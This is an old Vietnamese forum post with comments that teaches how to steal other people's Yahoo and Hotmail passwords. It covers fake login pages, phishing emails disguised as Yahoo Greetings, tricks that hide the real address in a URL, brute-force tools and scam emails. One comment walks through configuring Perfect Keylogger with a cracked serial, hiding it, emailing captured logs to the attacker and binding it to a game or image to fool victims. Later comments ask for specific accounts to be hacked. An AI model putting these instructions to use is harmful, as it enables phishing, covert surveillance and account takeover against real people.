Bạn bè
Bài viết cuối
Nhạc Audition
VOL1
VOL2 VOL3 VOL4 VOL5 VOL6 VOL7 VOL8 VOL9 Nhạc Quốc Tế HOT
VOL 1
VOL2 VOL3 |
Oct 3 2008, 12:01 PM
Bởi: songcan
Có nhiều người quân tâm nay mình xin pót bài
- Cách 1 : dùng fake login + Tạo 1 Yahoo login hay Hotmail login trên trang web của mình để cho user có thể sử dụng Yahoo mail ngay trên web của mình và khi user login chúng ta sẽ làm 2 việc là cho login vào Yahoo và Hotmail đồng thời cũng capture thông tin login đó và gửi về cho chúng ta.Kiểu như: http://chattervn.com/emails/ (Trường hợp trên chỉ là 1 ví dụ,bạn cần phải chèn vào đó 1 script để capture các thông tin login) + Gửi 1 mail đến user và tạo 1 link hấp dẫn cho người đó click vào,khi click vào link đó thì ta sẽ cho mở luôn 1 fake erro login như kiểu: http://hackingtruths.box.sk/hotmail.htm http://hackingtruths.box.sk/yahoo.htm Các bạn có thể dùng fake erro login trên,nhưng vào source sửa lại địa chỉ email nhận thông tin login. - Cách 2 : tạo 1 mail kiểu [email protected] hay [email protected],sau đó thông báo cho user rằng muốn lấy pass mail của người khác thì cần điền đầy đủ thông tin như sau và gửi đến địa chỉ trên,khoảng vài tiếng sau sẽ nhận được pass của người muốn lấy: To: [email protected] bcc: cc: Subject: Password ----------- Địa chỉ email muốn lấy pass:... Username của user) Password của user) ----------- Tùy khả năng thuyết phục của các bạn mà cách này được sử dụng hiệu quả hay không. - Cách 3 : Brute force,cách này là cách thô thiển nhưng không phải không dùng được. Đối với HotMail các bạn có thể dùng "Munga Bunga's HTTP Brute Forcer" download tại đây : Munga Bunga's HTTP Brute Forcer v1.0.2 (Build 2) Đối với Yahoo các bạn có thể dùng "Ybrute Alpha" download tại đây : Ybrute Alpha - Cách 4 :giả dạng Yahoo hay Hotmail và nói với người sử dụng về việc hệ thống mail đang được nâng cấp và yêu cầu người sử dụng confirm lại user và pass mail nếu muốn tiếp tục sử dụng hộp mail đó.Tạo 1 form confirm và gửi thông tin confirm đó về cho mình.Tất nhiên là phải làm sao cho giống phong cách của Yahoo hoặc Hotmail thì hiệu quả sẽ rất cao - Cách 5 : dùng trojan,keylogger.Mọi thông tin về trojan hay keylogger các bạn có thể tìm hiểu tại http://tlsecurity.net/ - Cách 6 : sử dụng malicious javascript để lấy ăn cắp cookie hotmail của user. Cách này trước đây còn sử dụng được vì lúc đó Hotmail còn bị lỗi javascript, bây giờ thì đã fix rồi. Chi tiết xem tại đây: http://www.eyeonsecurity.net/papers/passporthijack.html -------------- 1 số cách thức trên có thể dùng vào việc lấy pass của các loại mail khác. Bài viết của KHA. -------------------------------------------------------------------------------- Đây là một cái fake yahoo khá hoàn hảo tớ tự chế biến tớ áp dụng rất nhiều để lấy được rất nhiều yahoo, dính nhiều chỗ khác lắm nói chung là thành công 80-90%. *Gửi một yahoo greetings đến hộp thư nạn nhân. Trong yahoo greetings trỏ đến trang web session expired (bài bản!) rồi trỏ đến trang relogin. Cái link trỏ phải áp dụng tới 3 kỹ thuật che dấu đường dẫn tên miền: 1/ Định dạng liên kết giả mạo: < a href="my_server" >greetings.yahoo.com/xxx...< /a > 2/ Trong liên kết tới my_server, định dạng giả mạo tiếp để tránh hiện nội dung my_server trên dòng trạng thái của trình duyệt: http://greetings.yahoo.com@my_server.com/xxx Các bạn thấy đấy, nếu nhảy vào đây thì trình duyệt sẽ hiểu đường dẫn là my_server.com/xxx chứ không phải là greetings.yahoo.com. Trong trường hợp này "greetings.yahoo.com" chỉ được hiểu là tên một user đằng trước dấu @, còn địa chỉ thực tế sẽ nằm sau dấu @ là my_server.com 3/ Đặt tên đường dẫn đủ dài để che dấu. Như mọi người để ý, một số link được định dạng rất dài ví dụ link của ikonboard có dạng http://www.ikonserver.com/cgi-bin/ikonboar...ST;f=6;t=1176... Khi đường dẫn này hiện lên hộp address thì chỉ phần cuối được hiện ra còn phần đầu là phần http://xxx/ sẽ bị che khuất * Sau khi nạn nhân nhảy vào trang session expired, phải có một biến post vào để ngầm định yahoo ID của người ta, ví dụ: Yahoo ID: langtuhaohoa Password: [___________] Trong ví dụ bạn sẽ thấy điều đó. Ví dụ : Mời vào đây: [URL=http://trade.phpwebhosting.com/yahoo/Yahoo!%20Mail.php?mmm=3435_2308055_126636_813_191&yaid=trungonly&Mid=3435_2308055_126636_813_191_0_1289&inc= &Search=&YY=46674&order=down&sort=date&pos=0&Mid2=3435_2308055_126636_813_191_0_1289&inc2= &Search2=&YY2=46674&order2=down&sort2=date&pos2=0]http://vie w.greetings.yahoo.com/greet/view?2XPIGH65Y2A6[/URL] : -------------------------------------------------------------------------------- Date: Thu, 14 Mar 2002 21:30:20 GMT To: [email protected] Subject: test: ngocanh sent you a Yahoo! Greetings... From: "Yahoo! Greeting" Surprise! You've just received a Yahoo! Greeting from "lau ko gap" ([email protected])! To view this greeting card, click on the following Web address at anytime within the next 60 days: http://view.greetings.yahoo.com/greet/view?2XPIGH65Y2A6 If that doesn't work, go to http://view.greetings.yahoo.com/pickup.html and copy and paste this code: 2XPIGH65Y2A6 Enjoy! The Yahoo! Greetings Team ------------------------- Yahoo! Greetings is a free service. If you'd like to send someone a Yahoo! Greeting, you can do so at http://greetings.yahoo.com/ Find the one for you at Yahoo! Personals http://rd.yahoo.com/mktg/greetings/txt/con...onals.yahoo.com
|
Mong chờ
Pan da
| ||||||||||||||
Lượt xem thứ:
Bình luận
Unregistered
Perfect keylog được đánh giá là 1 trong 10 keylog nguy hiểm nhất ! Nó khá hoàn hảo về các chức năng, dễ dàng trong cài đặt và sử dụng. Hiện nay phiên bản mới nhất là 1.68 !
Hôm nay tui sẽ hướng dẫn các bạn cách sử dụng từ cơ bản nhất đến 1 số chức năng ít người khai thác !
II/ Download và cài đặt : sử dụng phiên bản 1.68 + soria
Trước tiên việc cần phải làm là tắt các chương trình antivirus để có thể down và cài đặt tại máy.
Link download
http://ngaytayeu.biz/upload/images/8yq9vwyfip93787esa.exe
Key Va Seria cua nó
name: the_lighthouse
serial : SBTY-SOQO-OASV-GFNE
Các bạn chạy file i_ipk...exe để tiến hành cài đặt
chỉ next và next đến fân cái bảng có 4 ô thì ( sorry ko có thời gian post ảnh )
Bạn chọn phần "Enter registration code" sau đó sử dụng serial trong thư mục giải nén ban đầu để đăng ký !
Điền vô rùi okie nó sẽ báo bạn đã đăng ký thành công, keylog thu về 1 biểu tuợng hình cuộn phim ở khay hệ thống !
thế là Đã đăng ký thành công
***Tiếp theo là phần cài đặt
kick chuột phải vào hình quận phim
có các chức năng sau
+ View the log: xem những ghi chép của keylog đã thực hiện ở trên máy ở trên máy.
+ Enable logging : mở chức năng ghi chép ( đừng có bỏ phần đánh dấu đi làm j )
+ Hide program icon : ẩn biểu tượng của keylog ở khay hệ thống đi. Chú ý đến các phím tắt để gọi nó trở lại nghen
+ Password : đặt pw để bảo vệ keylog !
+Remote install: tạo file cài đặt để gửi đi.
(+) =>>> Option: Cài đặt Bạn chọn Option trong option có các chúc năng sau
General: tùy chọn chung
- System:
run on Windows startup ( tự động chạy mỗi khi win khởi động);
don't show grogram icon...( không hiển thị icon khi startup )
- Hotkey: phím nóng để gọi keylog lên trong khay hệ thống khi sử dụng chức năng tự ẩn đi của keylog, bạn có thể thay đổi tùy ý mình sao cho dễ nhớ là được !
- Invisibility: khả năng tự ẩn của key trong task manager
Trong phần này các bạn nên để toàn bộ các chế độ trên ! Như vậy là xong 1 option là general.
Logging: Tùy chọn các chức năng ghi chép, đặt pw bảo vệ... phần này không quan trọng lắm, các bạ tự tham khảo nếu không để mặc định cũng okie
Chú Ý
Screenshot: Chức năng tự động chụp màn hình sau 1 khoảng thời gian ấn định sẵn, chất lượng file hình, kiểu chụp...
cái đó rất quan trọng vì nó xác định cho các bạn là cản chup hình j va thời gian chụp
Make Screen Capture every Bạn thay 5 = 999 okie
Nhìn xuống dưới có ô Capture screen on Mouse kick ( bạn đánh dấu vào )
và chon Còniqure
sau khi ra 1 cái bảng mới bạn chọn Capture..... rồi kick vào hình dấu + đê? ghi thể loại chụp ảnh
tiếp theo cũng rất quan trọng
các bạn kick sang menu E-mail
Scheduler
- Scheduler: Lên lịch cho keylog để gửi ghi chép về qua mail ( chú ý đánh dấu vào ô try to send logs... ) Các tùy chọn là do bạn: thời gian gửi mỗi lần, dung lượng mail gửi đi, gửi ghi chép gồm những gì ( hình ảnh, chat logs,...)
trong Scheduler có 4 ô bạn đánh dấu hết cả 4 ô vào la okie
còn phần hours va minutes đây là thời gian keylogger gủi thư ve mail của bạn
tùy các bạn chọn nhưng tôi chọn la 10 phút
Xong gio đến phần Delivery
Phần send to bạn ghi địa chỉ mail của bạn vào
tôi khuyên bạn dùng gmail ( ai chua có thì xuống dưới xem hướng dẫn làm Gmail )
SMTP sever 64.233.185.27 << good điền cái đó vào
Usename va pass bạn ghi cái j cung~ dc
Authentication Method Bạn chọn None Rồi kick vào Send Test
nếu có thông báo test message was sent succesfully. check your maillbox " la okie rồi
Giờ đến phần gắn Keylogger vào 1 file nào đó ( Găn Auto VoLam Hoạc vào ảnh cho dễ lừa Victim )
Kick chuôt phải vào hinh quận phim chọn file Remote Install
chon next -> rồi đến cái phần What do you want to do ?
notify me when the installation package will be launched <<< danh dau vao
next tiếp đén phần có chữ Bow..... <<< kick vào rồi chọn đến file mà bạn muốn gắn keylogger
thế rồi next > NEXT > Finish okie rồi
Thế là đã xong 1 con keylooger
Tiêp theo phần Tạo đường link cho keylogger
Tao link
chính là tạo đường link để mình post lên website hoạc send cho nhưng người bạn chon list của nick yahoo mình
Các bạn vao host nè My.opera.com <<< đăng ký 1 acc rồi đăng nhập vào
Chon Myacc -> tìm đến phần file rồi kick vào UP load file
Thế là xong
[color=red][/color]
Unregistered
Unregistered
Unregistered
Unregistered
Unregistered
Unregistered
anh ơi hack pass Yahoo này dùm em với : [email protected] Yahoo của em là [email protected] có gì anh PM yahoo đó cho em nha. nếu được cảm ơn anh nhiều
Unregistered
thang` nay` may` dien ak.sao tu dung may` hack pass cua tao.anh oi.dung` nghe no.tkang` day' bi ro` day.vo duyen.tu dung di hack pass nik ng` ta
Unregistered
Unregistered
Anh oi hack dum nick : [email protected] dum em voi:)
Sent nick [email protected] nha:B
Unregistered
Unregistered
Unregistered
Unregistered
bạn ơi bây h mình cần lấy nick [email protected] nếu bạn tìm được gửi cho mình qua nick [email protected] thanks bạn rất nhiều
Unregistered
Unregistered
Unregistered
Unregistered
Unregistered
Unregistered